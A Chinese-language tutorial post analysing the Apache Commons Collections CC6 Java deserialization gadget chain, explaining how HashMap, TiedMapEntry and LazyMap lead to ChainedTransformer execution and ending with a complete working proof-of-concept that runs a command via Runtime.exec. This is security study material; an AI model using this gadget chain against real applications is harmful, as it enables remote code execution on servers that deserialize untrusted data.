Java安全 反序列化(5) CC6链原理分析
CC6学习的目的在于其可以无视jdk版本,这条链子更像CC1-LazyMap和URLDNS链子的缝合版
文章目录
- Java安全 反序列化(5) CC6链原理分析
- 前言
- 一.CC6的原理和实现以及易错点
- 我们如何实现调用LazyMap.get()方法
- 一个易错点
 
- 二.完整CC6POC
前言
上篇文章我们通过LazyMap.get()方法实现ChainerTransformer的链式调用
但是我们再次依赖了AnnotationInvocationHandler作为我们反序列化后的入口类
在JDK 8u71以后开发者重写了AnnotationInvocationHandler使我们依赖AnnotationInvocationHandler 调用LazyMap.get()和TransformerMap.checkSetValue实现ChaindeTransformer.transform()方法失效
如何让调用ChaindeTransformer.transform()执行任意命令可以无视JDK版本?
我们知道URLDNS链具有普遍性,我们可以同样通过HashMap实现入口类吗?
通过自动调用hashcode方法最终实现ChainerTransformer的链式调用
一.CC6的原理和实现以及易错点
我们如何实现调用LazyMap.get()方法
如果我们查找用法,会发现非常多的结果

前辈们通过TiedMapEntry类实现 HashMap和LazyMap的联系
回顾一下HashMap重写了readobject方法
putVal(hash(key), key, value, false, false);
static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}
调用了传入键值对象的hashCode方法
而TiedMapEntry同样有同名函数hashCode方法,可以实现链式的转移

hashCode方法调用了自身getValue方法
而恰好getValue方法可以调用传入map的get方法

map我们可以控制,修改为LazyMap,不就是和CC1-LazyMap的后半部分一模一样
我们可以直接拿上篇文章的payload进行修改后半段
        Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};HashMap<Object,Object> hashmap=new HashMap<>();ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);
TiedMapEntry接受Map map,Object key

我们需要控制map为LazyMap对象,key值任意
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
而HashMap中控制key值为tiedMapEntry
HashMap<Object,Object> map2= new HashMap<>();
map2.put(tiedMapEntry,1);
一个易错点
当我们不反序列化时,直接执行代码,居然也可以RCE
        Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};HashMap<Object,Object> hashmap=new HashMap<>();ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<Object,Object> lazymap= LazyMap.decorate(hashmap,chainedTransformer);TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");HashMap<Object,Object> map2= new HashMap<>();map2.put(tiedMapEntry,1);}

原因和URLDNS链那里一样,因为HashMap的put方法也可以调用hashcode方法
对我们的结果造成干扰

因此我们应该和URLDNS链操作一致,先不让CC链触发,实现后触发
如何操作?
Map<Object,Object> lazymap= LazyMap.decorate(hashmap,new ConstantTransformer(1));
我们可以随便传个new ConstantTransformer(1)代替chainedTransformer
使它put时不触发,put后再传回正确的值
同时还要注意再LazyMap.get()方法中想要实现ChainedTransformer.transform()就必须保证LazyMap的Key为空

而HashMap.put()方法后,返回了key值,因此key不再为空,后续不可以触发
factory.transform(key)过不了判断

所以put后我们删除LazyMap的键值
lazymap.remove("key");
再通过反射修改LazyMap.decorate(hashmap,new ConstantTransformer(1));中的键为ChaindeTransformer
 在运行时动态触发poc
 Class c=LazyMap.class;Field factory = c.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);

可以实现RCE
二.完整CC6POC
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {Transformer[] transformers=new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};HashMap<Object,Object> hashmap=new HashMap<>();ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<Object,Object> lazymap= LazyMap.decorate(hashmap,new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");HashMap<Object,Object> map2= new HashMap<>();map2.put(tiedMapEntry,1);lazymap.remove("key");Class c=LazyMap.class;Field factory = c.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);serialize(map2);unserialize();}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(newFileOutputStream("ser.bin"));oos.writeObject(obj);oos.close();}public static void unserialize() throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(newFileInputStream("ser.bin"));ois.readObject();ois.close();}
}